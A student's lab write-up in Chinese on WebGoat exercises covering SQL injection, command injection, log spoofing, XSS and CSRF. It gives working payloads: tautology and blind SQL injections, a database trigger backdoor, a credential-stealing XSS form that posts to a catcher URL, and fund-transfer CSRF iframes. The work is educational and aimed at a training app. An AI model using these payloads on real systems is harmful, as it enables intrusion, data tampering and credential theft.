Exp9 Web安全基础

Posted on 2019-05-26 20:48  姜福花  阅读(80)  评论(0编辑  收藏

实验内容

  本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。

实验后回答问题

(1)SQL注入攻击原理,如何防御

SQL注入指的是发生在web应用对后台数据库查询语句处理存在的安全漏洞,主要针对目标是数据库,一般会将攻击者的输入的具有权限功能的代码,当做正常信息上传至数据库,导致其发生作用。

防御办法:

限制输入字符,尽可能使其输入内容是合乎使用规范的,同时可以依靠更多复合型的限制方法,或者过滤,才有可能起作用。

(2)XSS攻击的原理,如何防御

跨站脚本攻击允许恶意使用者将程序代码注入到网页上,这类攻击一般包含了HTML语言以及目标主机使用的脚本语言其他使用者在浏览网页时就会受到不同程度的影响。

防御方法:

同样是上传信息产生的影响,因此同样需要对上传信息进行过滤,或者将其内部数据在上传是进行注释化或自动加引号。

(3)CSRF攻击原理,如何防御

其原理主要是跨站伪造,利用XSS的注入方式注入一段脚本,当受害者点击浏览器运行该脚本时,则脚本伪造受害者发送了一个合法请求。

防御方法:

一方面对于使用者要有良好的用网意识,另一方面通过referer、token或者验证码来检测用户提交,此外要对于cookie进行严格管控。

实验过程

一、webgoat配置(前提安装配置好1.8版本jdk)

(1)下载7.0.1版本的webgoat

下载完成之后,放在kali主目录下

运行

当出现Starting ProtocolHandler ["http-bio-8080"]时,则可以打开浏览器进行试验

 

 (2)在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登录界面

 

下方为两组默认的用户名和密码:

 登陆成功

二、实验一,SQL

(1)命令注入(Command Injection)

 

本操作原理为通过在正常的参数提交过程中,添加恶意的代码,执行目标主机系统命令

在acesscontrolmartix.help这一栏右键选择插入审查元素,后面添加命令语句“&netstat -按& ipconfig”,点击view运行。

攻击成功

(2)数字型注入(Numeric SQL Injection)

与命令注入类似,不过是针对station字段,在其中注入特殊字符,使其组合成新的sql语句

如图所示,需要我们通过数字注入,使其可查询Columbia的天气信息,于是在选择框中,选择Colombia,右键,选择插入审查元素,在value=“101”之后添加 or 1=1。按下GO!

(3)日志欺骗(Log Spoofing)

日志欺骗的目的主要是用于攻击者清理其网络攻击的痕迹,通过在用户名输入框中向上传数据的方式,修改目标日志文件。

在用户名一栏中输入webgoat Login Succeeded for username admin,这样用户名后面的信息会在同一行显示,而不会换行。则我们在语句中加入换行符:

webgoat%0d%0aLogin Succeeded for username: admin

显示成功,并接受任意一个用户名。

(4)LAB: SQL Injection 之 Stage 1: 字符串型注入(Stage 1: String SQL Injection)

使用 SQL 注入绕过认证

以用户Neville登录,还是以永真式的形式输入密码Smith' or 1=1 --

但由于该网页限制了密码输入长度,因此我们需要先插入审查元素,调整最大密码输入长度。

这样可以正常输入密码。

并且登陆成功

(5)LAB: SQL Injection 之 Stage 3: 数字型 SQL 注入(Stage 3: Numeric SQL Injection)

 原理:通过登录普通权限用户账号,并使用对其权限序号进行数字修改注入。

首先使用Larry的账号进行登录

密码也是Larry,不用找了

登录后可以看到个人信息,点击view profile,可以查看员工档案。

我们可以看到,他的管理者序号为102,老板应该是工资最高的,所以为了把老板排到第一个,因此,尝试去修改其为101,看结果如何。

添加审查元素  101 or 1=1 order by salary desc

desc表示降序序列。

此时Larry的信息已经变成了Neville的信息,甚至可以点击editProfile,去修改信息

(6)字符串注入(String SQL Injection)

 在文本框里输入 SELECT * FROM user_data WHERE last_name = '?'

直接查找数据库中字符串

 

正常查询只有simith的数据

将  '' 中提前闭合,插入永真式然后注释掉后面的内容就可以了,所以输入  Smith' or 1=1 --  注入成功后,便可看到所有员工的信息:

(7)数据库后门

数据库通常作为一个Web应用程序的后端来使用,因此,我们可以针对其,插入后门程序,利用查询的脆弱性创建触发器,该触发器在创建新用户时,将每个新用户的Email地址设置为攻击者的地址。

输入101

可以获得Larry的信息

输入注入语句 101; update employee set salary=10000

 

可以看到Larry薪水被改了

下一步设置触发器

101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid

攻击成功。

(8)数字型盲注入(Blind Numeric SQL Injection)

数字盲选则是只能通过条件的“真”和“假”进行判断的情况。必须充分利用查询语句,构造子查询语句,进行试探,偏向于暴力算法破解。

我们的目标是找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值。pin字段类型为int型。输入找到的数值并提交

输入101 AND 1=1

返回账号有效

输入101 AND 1=2

可以看到1=2永假,则返回账号无效

通过下面这条语句,来尝试查询pin值是否大于10000

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

如图。小于10000则大大减小了搜索范围

利用二分法再次尝试

小于5000,最后不断调整,可以得到结果2364

(9)字符串型盲注入(Blind String SQL Injection)

 同理,是对于字符串的真假比较

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );

同样可以利用二分法,逐一确定该字符串的内容

 

最后可以,获得目标名称Jill

三、XSS简单应用

(1)使用 XSS 钓鱼(Phishing with XSS)

首先创建一个form,要求填写用户名和密码。将数据提交到

http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam

目标共两步骤,目标将信息填写至我所设置的用户和密码文本框内,通过读取脚本的方式,发送给我

如下为一个带用户名和密码输入框的表格

<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>

这段脚本语言的代码会读取我们在表单上输入的用户名和密码信息

<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>

攻击成功

(2)存储型XSS攻击(Stored XSS Attacks)

常见于论坛等留言平台,用户留言的时候可以输入一段JavaScript脚本,就会被保存在数据库中。因为是留言,任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。

在title中任意输入字符,留言板中输入<script>alert("why did you say that name!");</script>

点击生成的连接,会显示输入脚本的显示文字功能,同理,其他功能也可已实现。

(3)反射型XSS攻击(Reflected XSS Attacks)

 攻击者可以使用攻击脚本创建一个URL,将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它触发。

输入代码<script>alert("i am superman!");</script>

同理,点击连接,显示js语句函数功能

四、绕过 CSRF 确认(CSRF Prompt By‐Pass)

 跨站点请求伪造,欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令,提示用户确认或取消命令可能听起来像一个解决方案。

首先查看页面右侧Parameters中的src和menu值分别为280和1471017872:

在title框中输入任意内容,message框中输入代码

<iframe src="attack?Screen=1471017872&menu=900&transferFunds=5000"> </iframe>

<iframe src="attack?Screen=1471017872&menu=900&transferFunds=CONFIRM"> </iframe>

生成连接

成功,her name is masa,too

实验心得

本次实验由于是基于一个教程,学习了更多的,针对不同功能,和不同上网行为的网络攻击手段,偏向于原理,但任对我有很大的帮助,让我明白了,网络攻击并不是多么神秘,只是利用合理的程序设计缺陷运行其他功能罢了。且对于数据库语言和js语言的理解还需要不断加深。

Copyright © 2021 姜福花
Powered by .NET 5.0 on Kubernetes